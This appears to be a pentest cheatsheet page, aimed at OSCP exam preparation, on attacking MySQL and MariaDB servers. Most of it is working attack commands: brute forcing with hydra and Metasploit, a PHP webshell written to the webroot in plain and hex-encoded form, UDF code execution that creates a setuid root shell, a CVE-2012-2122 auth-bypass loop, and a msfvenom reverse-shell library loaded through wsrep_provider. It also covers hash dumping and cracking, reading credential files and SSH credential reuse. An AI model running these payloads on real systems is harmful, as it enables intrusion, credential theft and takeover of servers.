Skip to main content

MySQL / MariaDB

Part of Databases in the Web Application Testing Cheatsheet.

Contents:


1. Detection​

1.1 Port and banner​

Default port 3306. Common deviations: 3307, 13306, 33060 (X Protocol).

# Version + auth plugin via handshake
nmap -sV -p 3306 <TARGET>
nmap -p 3306 --script mysql-info,mysql-enum <TARGET>

# Raw banner
nc -nv <TARGET> 3306

Expected output (MySQL 8.0):

3306/tcp open mysql MySQL 8.0.32-0ubuntu0.22.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.32-0ubuntu0.22.04.2
| Thread ID: 5
| Auth Plugin Name: caching_sha2_password

1.2 Version to CVE mapping​

Version rangeNotable CVEs
MySQL 5.5.xCVE-2012-2122, CVE-2016-6662
MySQL 5.6.xCVE-2016-6662, CVE-2016-6663, CVE-2016-6664
MySQL 5.7.xCVE-2016-6663, CVE-2016-6664, CVE-2019-3822
MySQL 8.0.xCVE-2023-21980 (auth bypass, 8.0.0-8.0.32)
MariaDB 5.5-10.1CVE-2016-6662, CVE-2016-6663
MariaDB < 10.2.37 / 10.3.28 / 10.4.18CVE-2021-27928 (RCE)

2. Enumeration​

2.1 Unauthenticated​

  • Version + auth plugin (see 1.1).
  • If MySQL 5.5.x: try CVE-2012-2122 (auth bypass, see 5.4).

2.2 Authenticated​

-- List databases
SHOW DATABASES;

-- Current user + privileges
SELECT USER(), CURRENT_USER();
SHOW GRANTS FOR CURRENT_USER();

-- Enumerate users (needs mysql.user access)
SELECT user, host, authentication_string FROM mysql.user;

-- Enumerate tables from all schemas
SELECT table_schema, table_name FROM information_schema.tables;

-- Find interesting columns (password, token, secret, key)
SELECT table_schema, table_name, column_name
FROM information_schema.columns
WHERE column_name LIKE '%pass%'
OR column_name LIKE '%secret%'
OR column_name LIKE '%token%'
OR column_name LIKE '%key%';

2.3 Check FILE privilege (critical for read/write)​

SHOW GRANTS FOR CURRENT_USER();
-- Look for: FILE, SUPER, ALL PRIVILEGES

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp). The FILE privilege is the gateway to file read/write and often RCE.

Expected output:

+--------------------------------------------------+
| Grants for root@localhost |
+--------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' |
+--------------------------------------------------+

3. Default and weak credentials​

3.1 Common defaults​

UserPasswordNotes
root(empty)Fresh installs, MySQL 5.x
rootrootCommon in CTFs, Docker images
roottoorReversed root
rootpasswordClassic weak
rootmysqlDebian package default
adminadminCustom apps

3.2 Brute force​

# Hydra - MySQL module
hydra -l root -P /usr/share/wordlists/rockyou.txt <TARGET> mysql

# nmap NSE
nmap -p 3306 --script mysql-brute --script-args userdb=users.txt,passdb=pass.txt <TARGET>

# Metasploit
msfconsole -q -x "use auxiliary/scanner/mysql/mysql_login; set RHOSTS <TARGET>; set USERNAME root; set PASS_FILE /usr/share/wordlists/rockyou.txt; run"

Rate limit note: MySQL has no built-in lockout by default, but connection throttling and fail2ban may apply. Use -t 4 in hydra to avoid flooding.


4. Known CVEs​

CVEAffectedImpactNVD
CVE-2012-2122MySQL 5.1.x, 5.5.xAuth bypass (repeated auth attempt, timing)https://nvd.nist.gov/vuln/detail/CVE-2012-2122
CVE-2016-6662MySQL <= 5.7.15, MariaDB <= 10.1.17RCE via malicious my.cnfhttps://nvd.nist.gov/vuln/detail/CVE-2016-6662
CVE-2016-6663MySQL <= 5.5.52, 5.6.33, 5.7.15; MariaDB <= 10.1.18Race condition to mysql userhttps://nvd.nist.gov/vuln/detail/CVE-2016-6663
CVE-2016-6664MySQL 5.5.x, 5.6.x, 5.7.x; MariaDB 5.5-10.1Privesc mysql to root via error loghttps://nvd.nist.gov/vuln/detail/CVE-2016-6664
CVE-2019-3822MariaDB 10.1.x, 10.2.x, 10.3.xStack overflow in authhttps://nvd.nist.gov/vuln/detail/CVE-2019-3822
CVE-2021-27928MariaDB 10.2.37, 10.3.28, 10.4.18RCE via wsrep_providerhttps://nvd.nist.gov/vuln/detail/CVE-2021-27928
CVE-2023-21980MySQL 8.0.0-8.0.32Auth bypass via crafted packethttps://nvd.nist.gov/vuln/detail/CVE-2023-21980

5. Exploitation​

5.1 File read (LOAD_FILE)​

Requires: FILE privilege, secure_file_priv empty or pointing to readable path.

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('C:\\\\Windows\\\\win.ini');

Check secure_file_priv:

SHOW VARIABLES LIKE 'secure_file_priv';
  • Empty value: can read/write anywhere.
  • Path value: restricted to that directory.
  • NULL: file operations disabled.

5.2 File write (INTO OUTFILE / DUMPFILE)​

Requires: FILE privilege + secure_file_priv allows the target dir + write permissions.

-- Webshell to webroot
SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- DUMPFILE (no newlines - better for binary)
SELECT 0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';

Expected output:

Query OK, 1 row affected (0.00 sec)

Then: curl 'http://<TARGET>/shell.php?cmd=id'

5.3 UDF RCE (Linux)​

Use raptor_udf2 or mysql-udf:

# Search for raptor_udf2 or download
searchsploit raptor_udf2
# Compile the .so
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
-- Write the .so
SELECT 0x... INTO DUMPFILE '/tmp/raptor_udf2.so';
-- Create function
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
-- Execute
SELECT do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');

5.4 Auth bypass - CVE-2012-2122​

Affects MySQL 5.1.x, 5.5.x. Repeated auth attempts with wrong password eventually succeed (1/256 chance per attempt).

for i in $(seq 1 1000); do
mysql -h <TARGET> -u root --password=wrongpass -e 'SELECT 1;' 2>/dev/null && break
done

Or Metasploit: use auxiliary/scanner/mysql/mysql_authbypass_hashdump

5.5 my.cnf RCE - CVE-2016-6662​

If you have FILE privilege and MySQL runs as root, write a malicious my.cnf:

SELECT '''' INTO OUTFILE '/var/lib/mysql/my.cnf';

(Full payload in references - PayloadsAllTheThings.)

5.6 MariaDB wsrep RCE - CVE-2021-27928​

# Create malicious .so
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf-so -o evil.so
# Upload to target, then:
SET GLOBAL wsrep_provider='/path/to/evil.so';

6. Post-exploitation​

6.1 Dump all password hashes​

SELECT user, host, authentication_string FROM mysql.user;

MySQL 5.7+ / 8.0: authentication_string column. MySQL 5.6-: Password column (older format).

6.2 Crack MySQL hashes​

Hashcat modes:

  • -m 200 - MySQL323 (old, < 4.1)
  • -m 300 - MySQL4.1/MySQL5 ($A$... format)
hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt

6.3 Application config files to read​

Common paths with cleartext DB creds:

  • /var/www/html/wp-config.php (WordPress)
  • /var/www/html/config.php (generic PHP)
  • /var/www/html/.env (Laravel, Symfony)
  • /opt/app/application.properties (Spring Boot)
  • /etc/mysql/debian.cnf (Debian package)

6.4 Reuse credentials​

Password hashes from mysql.user + app configs often reused for SSH.

ssh <USER>@<TARGET>

7. OSCP notes​

IMPORTANT

OSCP report: take a screenshot of the initial connection that proves credential access (mysql -h ... -u ... -p ... + SHOW DATABASES output).

IMPORTANT

OSCP report: screenshot the moment you achieve RCE (webshell response, UDF execution, or CVE exploit output).

IMPORTANT

OSCP report: screenshot any file read of /etc/shadow or config.php that yields credentials used for lateral movement.


8. References​